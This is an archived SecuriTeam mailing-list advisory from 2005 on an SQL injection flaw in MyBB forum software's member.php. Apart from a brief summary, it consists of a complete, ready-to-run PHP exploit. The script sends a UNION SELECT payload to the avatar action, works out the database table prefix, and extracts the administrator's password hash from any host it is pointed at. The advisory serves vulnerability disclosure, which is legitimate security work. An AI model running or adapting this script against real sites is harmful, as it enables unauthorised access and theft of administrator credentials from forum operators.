[UNIX] MyBB member.php SQL Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/05

  • Next message: SecuriTeam: "[UNIX] QWikiWiki Directory Traversal Vulnerability"
    To: list@securiteam.com
    Date: 5 Jan 2005 16:04:49 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      MyBB member.php SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mybboard.com/> MyBB is "a powerful, efficient and free forum
    package developed in PHP and MySQL. MyBB has been designed with the end
    users in mind, you and your subscribers".

    A vulnerability in MyBB's member.php file allows remote attackers to cause
    the program to include arbitrary SQL statements into the existing
    statement executed by MyBB, which in turn can be used by an attacker to
    disclose the administrative password of MyBB.

    DETAILS

    Exploit:
    <?php
    // the example below will attack http://www.example.com/mybb/
    echo 'Pass:' . get_pass('www.example.com', '/mybb', '');

    function get_pass($host, $path, $dbprefix) {
            $query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200,
    password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

            $query = implode('&', $query);

            $header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
            $header .= "Host: $host\r\n";
            $header .= "Content-Type: application/x-www-form-urlencoded\r\n";
            $header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

            $fp = fsockopen($host, 80, $errno, $errstr, 30);
            fwrite($fp, $header . $query);

            $allah = '';
            while (!feof($fp)) {
                    $tmp = fgets($fp, 1024);
                    $allah .= $tmp;
            }
            fclose($fp);

            preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
            if (empty($matches[1]) && empty($dbprefix)) {
                    preg_match('#FROM (\w+)avatars WHERE#i', $allah,
    $matches);
                    $dbprefix = $matches[1];
                    if (empty($dbprefix)) {
                            return 'Unable to obtain password';
                    }
                    $password = get_pass($host, $path, $dbprefix);
            }
            else {
                    $password = $matches[1];
            }

            return $password;
    }

    ?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:scottm@spamcop.net> scottm.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] QWikiWiki Directory Traversal Vulnerability"

    Relevant Pages

    • [EXPL] MyBulletinBoard(MyBB) SQL Injection (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... MyBB is "a powerful, efficient and free forum ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NT] MDaemon Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... MDaemon Buffer Overflow ... Improper handling of user input allows attackers to execute arbitrary code ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Cadre framework_path File Inclusion
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... framework allows remote attackers to cause the product to insert arbitrary ... An attacker can exploit this vulnerability with a simple PHP injection ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] MyBB SQL Injection (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... MyBB SQL Injection ... # DONT FORGET TO DO YOUR CONFIG!! ...
      (Securiteam)
    • [NEWS] Adobe Version Cue VCNative Multiple Vulnerabilities (Privileges Escalation, Symlink Attack)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... attackers to gain root privileges and perform a symlink attack using Adobe ... with user-supplied data. ...
      (Securiteam)